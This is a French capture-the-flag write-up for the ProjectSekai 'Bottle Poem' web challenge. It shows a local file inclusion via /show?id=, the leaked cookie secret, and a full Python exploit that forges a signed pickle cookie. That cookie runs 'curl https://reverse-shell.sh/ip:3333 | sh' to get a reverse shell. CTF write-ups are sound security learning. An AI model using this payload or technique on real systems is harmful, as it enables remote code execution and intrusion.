ProjectSekai Bottle Poem
- Auteur du write-up: Numb3rsProprety
- Category:
Web
- Points:
500
=>100
- Difficulty: Easy
- Solves:
134/900
Description
Come and read poems in the bottle.
No bruteforcing is required to solve this challenge. Please do not use scanner tools. Rate limiting >applied. > Flag is executable on server.
Author: bwjy
http://bottle-poem.ctf.sekai.team
Note
- Ce chall était super intéressant et m’as appris plein de truc
Introduction
Overview
On arrive donc sur un site ou on nous propose de lire des poemes. Quand on clique sur un des poemes
on est redirigé sur un endpoint /show avec un paramètre id=nom du poeme
donc on se rend compte assez rapidement que on a une lfi par ce que si on met http://bottle-poem.ctf.sekai.team/show?id=/etc/passwd hop
on a notre /etc/passwd.
J’ai perdu un temps infini a cet endroit par ce que je pensais pouvoir faire un log poisoning mais en fait le chall était en python donc pas de log.
Avec la lfi on lis le fichier /proc/self/cmdline et la on peux voir python3 -u /app/app.py
donc la houra on a l’emplacement du site.
On lis ensuite le fichier app.py et on se rend compte que le chall utilise Bottle qui est un framework web pour python (comme Flask sauf que ca fait super peur) jusqu’a la rien d’alarmant.
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re
@route("/")
def home():
return template("index")
@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile
@error(404)
def error404(error):
return template("error")
@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)
On peut voir que les cookies sont signés via un variable dans /config/secret.py donc on lis ce fichier et la pof
on a la clé utilise pour signer les cookies : Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu
.
A partir de la ca a été assez compliqué par ce que on savais pas trop quoi faire mais Sanlokii le genie nous sors une doc d’un exploit nommée Known Secret
(ci-joint: https://www.gsdays.fr/IMG/pdf/conf-scrt.pdf)
Enfait cet exploit consiste a signé un cookie vérolé avec la cle leaké. En l’occurence c’est tres intéressant pour nous car dans la ligne session = request.get_cookie("name", secret=sekai)
la methode get_cookie est appelé.
Or cette methode est affreusement pas secure car quand on regarde le code de la lib bottle elle appelle la fonction cookie_decode on vois un return pickle.loads(base64.b64decode(msg))
.
Tiens tiens tiens une insecure serialization avec pickle. La plus trop besoin de reflechir pour avoir notre rce il suffit de faire un cookie custom avec notre rce.
Exploit
La je me suis un peu cassé la tete j’ai voulu implémenter les fonctions de la lib au lieu de les import mais donc a la fin ca nous donne le code suivant:
import os
from bottle import *
import requests
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
url = "http://bottle-poem.ctf.sekai.team/sign"
class RCE:
def __reduce__(self):
cmd = ('curl https://reverse-shell.sh/ip:3333 | sh')
return os.system, (cmd,)
response.set_cookie("name", RCE(), secret=sekai)
payload = str(response)
payload = payload.replace("Content-Type: text/html; charset=UTF-8\nSet-Cookie: name=", '')
payload = payload.strip()
payload_send = {"name":f'{payload}'}
print("[+] Sending %s" % payload_send)
send_exploit = requests.get(url, cookies=payload_send)
J’avoue c’est pas super propre mais bon l’important c’est que ca marche
La on recois notre reverse shell, plus qu’a faire un cd / && ./flag
et pof.
Merci pour votre lecture :)